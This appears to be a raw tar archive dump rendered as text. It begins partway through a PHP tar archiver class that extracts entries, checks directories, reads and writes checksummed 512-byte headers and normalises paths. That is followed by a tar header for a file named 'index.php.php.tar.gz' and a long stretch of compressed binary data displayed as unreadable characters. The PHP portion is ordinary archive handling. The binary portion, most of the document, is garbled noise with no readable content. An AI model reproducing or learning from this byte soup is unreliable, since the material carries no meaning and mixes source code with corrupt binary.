					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   index.php.php.tar.gz                                                                                0000644                 00000063112 15243251040 0010355 0                                                                                                    ustar 00                                                                                                                                                                                                                                                             w#q Zz}c}kW͡MM&$] 
@
lk-Zɣ-ɲ=#KuYGI#zx_/_Ef	HvKZrYUm2hl(2h%Zb>^`v~;]nty}.|w'ey3j
P7yogӱ[έ(\4xe+Ƿ凗#,F?Aw^{o/W<1|/>^/;=C߿k.-,>G;WcO"_0->>}~|P޷?0y7y_>;|q-xV[~:]|pS'O^GP^.i?,? OXۋO.|3˿,߬B9_y(GN7חo7Go-~gś87+/@-X @~"`ym˯@o+?[~W>ۀⓀ[Ͽk4iO_]C ?WzYRo,2}i7Y8%@g\~t
SeA>e	?[h凖-?y,y=h&p8ڿ[=zPPHj-?_{On;/~x}p|2@l~6Gm嗀OZIo.:*4j7L(͒y嗖_[~e6{?x?3hś B竻^2\zq+ݺ?8d^Z[5I,UC;}{G-@̄^k7=4J9-O_}=DdNP}
_,9pѹ[~s-{ǹ@{ךxo#Go_#/>&zg^~g'ruo5^~}FA '0W/<yoJ7}@.twN}/@j|uw񖿳.؋P~	<[~PBZ~u|A#)[# !,zkOˏ.޼By?@N_4^\K@zlft`׋O>z[|o{z<sǗ_,?zꋙo?x~cLG'×|ۅ-;,p7@zG_\~y O|o{%TԚw4_?ŧ=wK	lKq@嫉_[|W˽YK`ru ?A_}n'ίA|ko;A.{}^,'?!z \o輪k,~jzI͟>1Յ`=Ov+goߍ?y5w@Y|hZT닷r!9{ms/_`q0G7/?ŷ@}Qxq<dh_uoN/k{W?@WQa
ŏt7); @?6xZ(Uԧ>{275lŗC!W
<Z|_'}/7t}O>}{apz{K/_p)+>X|#r[~v%|}ԝF,p^N71>mN_-?Dz?[B}f:]~|o/M+?Gۭkᄽ Cїj",>/߂$.>5Wˏ:7k--Z~53;˷۳sʟŷYБ-| g˿
Ҩ~s)߇Q]oRo^@|Ƽ]~;mx7 qeq|"~W_~zg\H_gġ7xz/GZ~cm{zr>Wa $['J~}G
~sJO~0\~n'o{H
'@mM)޳ a/_Z|qn?&Xo_~/k_Mn%S__oߏ^[5hɷ!o .Y~y٪KP`"|:|>5s9q>HeOT1T#Pcq^z lTV` 3A!kZ>CSt̮S}.(awohP{yxDYGGs- iAg[` w@KmTv vw.\)R(>G{}Jw-=KXKrC>YlNޣ,wgnڴp٧g5Ē]`<}/-"Kۤ{"K[brDA#0f"Z `']"Ǝa('ILW}m/{_$+I "2NsME(oJR02nYtl3u|KۧP"L. x+G Qt,ElRd$sd6e8C%Rz#RbRUTleV4bĦ$ce2H<U	I %*ZǐEDGz.	8*z.a<% Y+`uEɢ& $Ey]ڀ	/4HQ#_$F.kX~:[C5yiO4~IP	%bZD*bP&G\DTQ;+RRkX@hq@lm{$wPC)]ĢȘ P2&e$iX.DIݳ
OEtuԋ=,z&^G^`Xr i@,j@YVkD`k&5m%
|9`9-P(-^&X) &peTRB~̺
El&]oS+-R9	`=phPa0F2ࡄ}2lmZ I%Ϗѿ1-(V>*E1kETOiw)#e{Xn=qu./ww$f*Jz|J#}z!Q#E/*i+UYLBH\" B1ӛqwSA%X@4@6_bE4
|{hkHC@iNKGJMP&$PLOFKczm,4,Y.֩'F	p.3Tk)(c
[҈\Wu?c}hm%%*.3Oue1X:!;a]9}{HXfzHWTЉ\ULSi֯=65"]Я!֨GFTwBPy0w)qax2"]Э!tKʈq2i@@%'L)_ԡ!uF5`@L.q]pFБJdf!5)C;	xRO`'7u#XH7~ŉBdf#PA)DjROQS7&qo9/WymΧì6NP(@E}m JPG*+O(ad%>~'AJXP߱XhR0ANxMC+	2R$äM dz
"XN{R#Ԙ;-$+]9IJn*o_έZZ x6cڧ{-ֆTuĲ05KX[C&+#6 ޕFfL (t	RͦP	Etőj;1V-/J#\'&%ʔD$@l!`}'̊^dQw)Z}~B9nh^	l  ~lڦ޶b77Sۂ1i#n2<ẃJSoT
fOy=Wε^ߑ`˜'6n \Hl>Rfǋ.kro}TJ6ǁrT(?ẏxF#P%<&8YV
H5A sy;P>-c!Trqp|t#"Hޱtk3,Lbd{zYTOl)ν\M%jW"ӋR7@wkc7E|ckEkxeޞRMѬ\ѝ	Dx."R@ڟȇ<7ǨIq%Gh>>֩n"IM>AJ}C0bK,WTV; z̼0=cd<p@"'{+n/amE%Pkx	U\Ɓ~h_b(2 =e#>F$Jhf{5$	h;x^+!ɨk mM xJF"aQg+
Mʘk)H"Ph D |:G5Q4}ʾOI* A4]c ﮡ4\["PWk"o 0KP6WV,p?J<=6.Sķ)/GK"/H2eAiffE#̯Z,'NI 08rY	ϞMy}%{`9&yKUAM2?x&E޳'A7K~>+TjGdz>:Ӱ7Ev3~ÑEGd[Dv#BKf9E(q@wj- 4,w	g#(N,m3mDј.om>D[Jsq3Rooi'mS4F{}#ʹt|ܵ$5Ln#|}TEWCˣt}VۦPI[+|c83>Bǎ' Sȉp+&*s#1zu*zat#(o
G~-wFUЗr&g#YI<qkeUJeMՏ<)q@+{)X6dc ʮLQhc<kxBY}HyJhЪ
.=v)uxTQ8͜S@1"lpruMTY]-~/>n۠&iBZkEH7Lҏ		z'[8.ԝ\WmKon̫hsMGRoQv,aH\J-g96WP+c1+DN.GB#S%ɀr	uDG̣1Tr,;ƨ?8dٻo%E؄'%Mu76y=@><{FAp׋jwGK	C.ȦKדAdEbY,D\l6N0zmWťmcED7/Fr;Q.	3V!@E?3kf+ړS
$) (Wa`["S6 (CfVnQaU$#""gR2'q>1nԇi ko*"!LGEP,P>GUiiӦ
#bD.By㑱,e%	-@(UY+z@cP<]T<]BRkQ#R:t-ubdnf}j7*z0LwCZ޺<LtuAfF:RjrD=!
jtǱw_x{kD(E@'Pi<Tk|T\ LHxa㑕zVO* CrDzL!/Z*www;]vn< ;$;0]heb%ڨ92Ծ0e}$Iuυzl{Br@a2.U<QY~EfGÄ$&;KEe<@[S":4Z| ğAmbq`Tˁ2A(֠*QNyEVRV^,:~^QIaL)eёD*a58W 5GLHR7q`DCh	4gRMV۪&"pya_[\_-=95&}%#BwV(j3
3dHRۙRA(%uWHz(ĥ\m	EVԹr>LԬK׍ZF3ӘHJF UIT(gKg}3~xlppJ[G]Q+GV(5}d:o]j~A3b-]^F%s򭯓(Jj}fJ3E 'Hڧahyi夻s0U9P2-/TSuw?]b!dځQDAs$<CS7f$Ҝxy6Q**Bdʴ𶈒|4~n}|tt881@\kƊh\YrwCDx#4Fxۧ[]j$va̤:"MϖĞ vԂ zB'sE5R$Hy|GmMס7m#ι`mN޼q8U3w_
O6_0gApeI4,XOIX\0Pe~gsWZ9m'8;lg4%5F)$zf/nr˚Gkd{jÒ4R*eNo9FNw*m}ֳLՉnLTvHɶ;87کFlbYwν\e4=q_yEL3mz]V{.^HX4IZmvfKq!w\+N<['<sE1ipU]VvE_$~2k#y/	vQЙN)Z6PsX%3R &[rʛ]H%mT'3oj烳3ﺊxHIdye	Ygt{(tsD_fhjs ݢ[E +=Ĵ3\C/wףVzn;GVbfϭN]qyc&&6򐚎<ևg&^z~rA6"J#WrqDݚyWtv^R/+3]*1F<\j~b#!VJ	O	^)sghyrZX,%yE-ltJa̵[KOsi9p8)fnY4.-:lKymڙ9lZspqj#4ds8xYu1]#y /ޤ]t.w0:8mqjF;	OhO9}3ԫƎaOGM=w{BlXBBߚקg>g'"tZ1q9ѩg514GMm[JyYo3n09+E uX=I8'5:Ldm>G7gRHvq,i~^W܄TPY0h-Ymc{ms$R%&5V(tR6c GWP>Bcښrr Ө0M(Nak{f] Xx΢aiK@
{kXiz
ԸVL<G|1W>z\"{42oZN3r2ƈQto(@O&&P^ًm:3.zrOМ#P'mNl8bm-WhmmZVAw$>	-dD67l5smyk.10x!

(%׶[c`xU4$*#W7믡BEVef,WhzD?8[^+d!p5kc|F׿%t%ɣ>"$V4{UXD(uO§X4m`s34J0Z?m8DoځQ3΂7^6<N58'RU
V}>|	 <FgrD7eM#Th|6.Sd(K(uBZH^RUf$g"2LbG 1YWi#sYiHse}go)~~_ُ?[F)ҹX/Bi+7>{YJ%֣cSPVsLuDl0hK^=꤭)2Y^Ov*=$Z\3#^øpĨN
:*dx)t8dJ~2P`jsCr	ew4 ڜhHxyȋh9 4[(0}~vPu/VۉѪCsL+1CsdmD¢
ZKokEI#f'ØfF?@i-dHaJ
!6M* eTJ˄EW(.׊`
]ؑЏugȱ
zhYm< rkSþ@e}!ߠhm
ImbT)L,d*sxT,.iISԂn(_WoѸymJ7uYq)GqO\yؠnf{z=V0tawBcj`,>lTQmƇPuh2#8T)N3n\()sPHf%D,L,&XO(=HmMhї
J5J.UBPcj3M(l{lhC+hyldyUkk:O0\E8PkPQ;Z!C
%PR<pu]İ-W)Gߞ1\	
NUw0Ru54p`#|[Z߸xJmWCܾ9
W19ȇJ=T#VEkj\ZGq MriD90B7T|\n퀎NF9c(7W63yfU!mVbipl2d?fJv-eָTGGv&2DYx?g쟦EܬJ#kRd\E),чGZ2=jB;[AQvz#25Vɔ[uQwe!BdhV\oy?<&,_~{Lyڪ﫫Qx|{Зܩ+ԡN<T/#[Z(زh#cPBIqurspyȳa;ɘ`!+!L=uk
lݠr~%
JHb3;P|AQYj8Ѯj+CB$#T5iҍy&z-'Ot5íI4YYNYj1'm
i2  SW'Oq%nVٙOS*	:o65\ӳ)4U8^=Զr0?(H67CnJ<<+=LDRiX,;)]El4 |xbǭ NXhZJCO/olX<O9ϲ}uMq>z>=uซkKǖ3_';΀igUk1Ymxj	 !mۃX_g+Rܟe޵Rݣod:XsrC
4IJN`}P*KK፟}DxFF-Z&TUoUZoÄ?F6v&BD5;Vv1b9vuH)6iNy\BJ<U%S3YdCʃ?Ӥ<xv5;Ӡ ȑeLT.!C%H1Y|ŕR1ʁgN=xLPx֣II]ep&2GibFXYזZmVuЦǿ:I-Ăz{
L0""LNN
]KrMh&̜'3@1I W
Kǣ&o1x6_~	.FG|I~9̔:tͦe1ұ<+
q}^_/$RC0ÇmrpBͤ:nBwYQޫS'{Xv=NNާ8M1%IV
Ãee qqq_N2,JChJ>WjoS5t1L6%U!~ x#cAJ}Nn@w瞍| rH}o=$N;| ;i}7ucyi ȴ`Ae|}AOc5`^>p%|)6nG<Ƈ<W$4F;zeq(*^X[ϑ󏵖y{SB`+	,AfֳPO:֖DeAq(8=8DF@J(j<h<C+ nA%ïԹ	4">=k##x!`F5Gu,kأިW%cX2bFMLIXHMV;6kL1,)ZZ~Y
GĠ]}KДy&>)PnD0=wȭg:U#~Gkxo;lCEg/sst^s+*ipVsVX)8\9͕ArPzi\jYuJBeusk\GR)-6tP*Z8p8ȴ8+
>ŨCCk-m..#F{fp:RR0_($NHWCѹ
mk6<bt
t*
8
Nm07P$Pڻv2MoPH X8Yq&;h@
\Z+⡆䂵^(RС<ZV lD$'nIpɐ+
g",h{@㳴;/T!o߫(!Z?*<J
9AG"vn"19+vM~5VL[@kie2)wF}4u{~+c[eU)Z!<|A>(ن񞯕/ZV$B<K|˶zg#n:'NL#gJ}plzI(ewǞ#J4&^LsOK=-YOl}_r;"z9˖DԳn/Z')k^
1tQdY=w~Z@ Dnذ~Y6[iAOvz.^1!m!`K>
&`0f+cy ؞y0d|>t*r`(/NOZ	zʱll^4@ƎHNt.Ѥwwm,僳@X)l ʲVj]+x=Y(|xwOZ?(ţi3~Xo=m46D| `xG^<6+]p-W8W=M?BV&NiV9}2ɴ*y6RFS1-1TMwf+f´=9*~1Z@X4V%	yW)$ZPigI7܎f02	|ZU*hǓyӠd#YR3_?hbvaU|jl4%P ,~bvc\YN%k/a"ݓ`%CҖzqypִzVì.lc XQ{2]VI>Om.bz:b	kTn:u&0հ7.[CDhPN
t96D8
̰%d9n\҇BZN9a+Ry8p伎Td/{:3|͑N=U[;SaxĲ3NUZ!g*Zb\LUGx9N΋3!*Ν!DKL=lj/8.`..o.L|VdwZ-OှXC{S鑏fZ9Opj繋PeUW:]t=1V٢Xj|M4|[tbOm2LYäQ[4mɤԼOim>i$͚_Ӂ.ܕB~ԈrSd;1.vIuNWV;gJTuҾP	+Jd1:s1Or}+SsxM(/JC9Q$LG29˕ryCI#o=?2]W*7񅧒wkH;(Wi78>Xq5}8i[~48o;u_~3棬=<Fe>glGjg	(+gjv{:OݝYL&ukr ֦+>fF<`^ejwzm3:عY9/T6FX˩ظ)z95X]pa'^f"yˮMÎgYSV|ruyٖJCY,cgi[vص=ZR:ɜJ$鳞5j9GyrrNHEP(DYf
.=0(sn4ڞ~,9qSgveݞ	mb"}̻"^Ϫ@R%G9oa6ͻF7믌=.(HO,L'$;q,f=p!k6:&}$q13v&sV0HΚbcv	q\~Y[>-Hh{2nkX|g1۝3d1nr
|Dg<feT%SVܐog:<sڵuzMJ3?5h_&'$(ܰƗ<b+;iۼ%2UZqWg(ǜ&Ex]M8j<73=bg:eb=-Eyp8Cg*caFMgUg|2(墂w"ChVGhZ0EkOb-꩗-u܍LV]gGFlU:{?Zx@{V"w=8<2.a4ӉUaزI_gs:
r6_rNlH֘/kKqb/j羹V%(ӎZڔά+G#S8l!`'^ǕyW![:kgS6p3{:r;yͦ'Sm\:.
tL>=tI '@*Ryި]ͰgbF{8]s,v=k&b/T}g6rٚꍜM43لM̜Rk_~5ldxm-KhAi7bq\I}äl]q3ٚCE3*csqs^9/HX5zaWY:VW3v'LxZv%љ+qXRN˚)rl֕<6g\؝@ۼMʸ9͌jiBӶ:hSe<Kf1uCh~xfhO4}iص#OgnɆuJW:¶@yCpVu],Lhb8mDz|Y&T1"{?/b)GŔ5![$3fEgOѬde?uY-#x*P|;}!jzڧgaÍy[o}<v8!4kKn7aքZm	BZ
Y<[	烋f,ӮGBG*'Rѩ,~kѹYldƓ31Tہt+\ɂŌ)g3c$qY.PKsӫ}a֋ts`y>,a&IɡuRœE5Z㳎G|"va*](bZeQϣJE9iLY)!QV2y[.eJtqt;Cgѯ;@fVe>r>zsq=??=ٌEz8LۙX+#k(Q&:/4.EFj99~nF3`3R<Mr8jWKRw5zc﹢֚;TY.MD-v\?VCZȻk!ﮅZȻk!ﮅZȻk!ﮅZȻk!bsAW^qRb.8'N]F*۹nosY6`#x62FJ%R4LlvS$*\N,,׵M>
>u3l<<;}CzgMfpbJ{z^9,W\ey<%xbZSeP'ʡ@:e'DYq=N86iyq)Na,v=LR@-rydkRt
%kg8(dO/Ӯ"cͤBemI@jy<NnF>~]R%&P6§)fIိ*)]s$.>vlQl>tұSlƂæб4X,~ϟOM;=*1ڑRἜKiÍD"&LimNLϞyĤg;TqskTu=>O/Q	V@j4c_?*U{pyuxgeA
Mk۪[XmV~R*!a6e;,1rϒ{G$cS.mZCwx5/-yMs୍(c\
:863S8n,޷ь̸]uϨZy8c(9_NY<Ppԅ3Ttr3B͙^ھ N{*VĹw 7/P EЏdqdlN;gt8שtgR&0v5:;X=m4mִO˧դYc>:6[a.fEdkm;jVf(?~a.0=evgwӂ5unYF9>])觅,5jܠ=@zHE{d'̟lDb|<~6NzU;-?T&c8+nq8~6)1;4mVUp(@oQD_b$r4
;OV%vv,;RSJ Y-=y;zvvx6JE-TƇgބ'lMӵ^<n_55sL#1TJF^x&xuQ/g.|謚CZ`&T-*yOeq#R"l6'VS) Ps@5If&yUU@"C&H6]曝>uzowVx`ˤB08v{\(T.vVIw0HI8{!~ͫu<H/amTt*
PxΧ+bG
q"P-uxLJBmuJX5cE5?z.:6	;zG:gWgRu"sEǝK@bNwJ<7	P,*WSc(ʙ|Ǌ}4Xp8Pn>}0;e%`׻GrdQ|1LIa	=d}S	iߘUImqY{/9{*~7Ca@f]G CWWt@^[ϓX2쫺OtQWprV+mr*rKqGO{ظwznZwoI#(rJW:\OF7Iȱ0Uq&o1~t;	iAA'_<=Bl:d, Y gBJɺa R) V7eM=%ڧ90p|\AMS$zUuyQPD5|,Jr
΢&x[-訟z}QbKغ4P::XRtѮFRi1	>:piE3~zj4,5fE:Ę`a9V>uubǐ8<f-ipM{B	z|z7OKnD׈{iKsZI|Hʈyd4biSn:˧ySBi\EniSr<6jWц|ZAcrx)_=|tSm7#ʓPF'	nP\@\quXK:+i5~"@B7+jHcrZ2=m&(78E]XBե|hZ<gla&`Z&yƄZa=}K75DנXV\MzFLjԤ'KN)3!^?uQL4(]	+v zARc6U%ɋRZlݫjQ 6^gYV{hJH肳޾Mk5$KQ-LY&&yxi+ʨ!Poc4[\	ZL˽k%*R	5ZN%]"KVFge꯻[@wjQvFƥj4dFľ'L4F*	d&HKPVr9Qd6B7 'Ǡ{ї616kNP堬l`wrjVbdhÑ-vUgzHQ兽cBh&nfDUmKXZd(X'UIXh?Oh?'J5ɲwRtm>3贺|ls#<:7 EhAƐҫS'Þ[R{x~2 )#jcx)Rg
-B{>S1V͈4*RCbh1DI(ށxs=Nt.L>0S 
}1#Hz("|>Aa11n=ow]@eZ|LѤ.Q#!4qdza|usuJ#SAV`Zə*8<iJ|ds6k蕄&R޿vY8hT6W.iQnVVTUQKkI{|uϪgN9^e
cL#٢V$M^
LMu[GcN*rMW)tջJ[i&wElHY*i] pZߨ+=;VP,,Q-j͏鈚<5eaŵ(t_kȚ##UTێV
tt9PJ7Bm~|fGzZz=k!t'uXeֿi($ٰV RJPH?#p 
+]0<)_I((0ӻG&vF#lGUτ&xɵ|yʄ#5>D	]6uG{k{	7e+}>UG<\Fk]h͙n&pK8m_K8j6dj_	%ǴDƠt}"ݺ$ѭ]wNW]W^u%SK)bZ xAhznD5FO~
0]ܗT3yNU+@1yۥhkhC!+M?U}nUtcӤyqHG-rYSU:;KMt}Pjb=^J(ʓjmњᳩJW9;X;"?AIh0rĻ!"E (þmz^ؾrVʠM;xũ,<{^sRFTae4QyNl%}A{׵I~Dq	*c	҈Pu@V=c^ծؗWtH  쭼b-y~2Y$7c+Sȵk~WF Un9pnx82(>њk
f0H [eB?hPt9L% #վ,^(747YY?ٴ=nޱ[B@`Dqa{7V\Uj*˷,{۠ͯdnlTYiuA/~@VGաʬ̆__/_E]Td4~I	"kzfNU22^5V1#\c´>76FBJغ@ʯ*Teh ΉV](>իK0йuMUP1qi5ҍ69;'P@ץ"g2#h{ll4t
k&zrRFfp6Z7\AjsWjkmh]n0#$z<C__cZpə;.KVe76#l_Bw@7Q.%cq3FM̌g24nS,-M_1yʻiw;Ob+~vͿ賺w_WsL 'dlmr%[RM|N|)ږۿA_$Ѧ0uKba%H	F@Oqx[PZ*FhWGOi3=rCz|-H)-%
fsDQX 4P|"x{"-Ȯëw
*'MAa0Cur)$qr:YY4yۊP
L)PZps|VaoOT\;)Wu!<
5; 9!yIhVZ4EIӣ
zNI`kwn~<RW>Po<_=xqoǆv-2tEְdxq~^߲EF".ˑK8*"e>)BCܿO!N(AFmΆOn.#b&_| H0Ar84	x6(:?lb)r!U=W"6ToݻS!}4z-wAnH߾KyJj6Ux_7pUSH&BmmMyES"d0cjT:S$z֨WۧGPyyc۬l>ǋ2vP8NŪsưD%."@khavי5#9a؜4~ct5Dg!ߜGM`NV2hƆR {<xdVہ<z;>eD2vzWG#d#spƠS=5RS_eOfp@CW쎍ٍlS9ZydzÅn
BlPbYZmBF֯61@uBlL7VpC2lk\ν2w7CZm-ѕRTmMVJ6zDTJB!<0K"$V
R7%I7-к=Z,<'c==X[ <:x^z6&-wy.^[/1It5y	qvr0qw>(Fѻ0Q<wٷ).ƁuC^+nl>Th-ЩbMIYO6VL>+KW-&nnwW7Ǧ4cZe؟ox56n:~=6\S/8J)cS2e6js#('~I2h'`(ۇ+8*˻活U6ȃҜ^QG6F/5r]ˋ/꨸А9k|3 #ap i
Xa	 ~\tR2~LwL&NkGmCᩎ:n'bA~gDLJ}^Q$$?aY wtK.k"߃R:?ELRNfܥH#J~D)W|#9ZG`hWH(JsY8dhq7rteIs׼Z$i7+cBXU{G=rsiX5VDi+LB3^V52nz}[@IR';쫬d҇PA;* Ty3C!+"Hr#hQYkL!Mb2\
\wX686 WnqPB1hsagrDԨⰌ&-^3)k5rrx=޾	!#ҚMeZZ(̻X9@19fhgLoS+s^`=?61 o-4enmMHXsg@EJxC3踀+qgCrSj~ǿQ1/!Wyui}KH9w11*,>#̦VSd2:YzܧA>]"Q k
=$>!QmTMaC'Z~AFD1k?e.ƨaD._P;OBi>fxd"nZz
w S*T"Tn`做nX`d1Z\ X`xhQ#JJh!KZ&ޮ.}DC):,ڧjIGYx1\ÑrsFY&)
#޶.j,kjKj< /;cw\q]56
E+*Wgsq9Gkhh D<BI"p!Z?Ln>1{~>*X@hA<1gYFDH[ؑH#8Q8M] =W^ʅjTjWb3!4Oyz-Ĭx6O]vМy	잙'Q3h\U1rdƞ>~0k߻1l|L1	6i3ցNē)Ž!SC
O痫TcD8ܒ&QA!ϯIa,.OrG↔@gd̺:Xdb`lkKJX!>?:Zuz7S(`(*49SDb\	:o5dmQ8ʝuz+nkq4Ykܪ&+:4(}*ϒt;6.j;w ;ӥ>+f)*ۑxɠ$*ώGhAB8"9EP$й|!
j[]m$JQI>9PGʅhRU $C]z`@Qϗ"jIhLG ~]W7Dr7r>Nv߄$+hۍ['ۑ̛ÓDKyk[1TZG>݀{323 ,G(ǟ
m`UVs
 B\u\&@	s]Vo1ajwj1RlY 9J|3P;:h(PNŃ:߿V| ,C:ĥ@&8đՏ$-/>b̱<Ik-u CAPե]@̝MFWֱ,M'JZ뜽IL&鹦?)&{g@=o's=C@WK"4Fȥ׹ 6e еx.hVchѽ-zG*9Mmt%𖜀}nATU
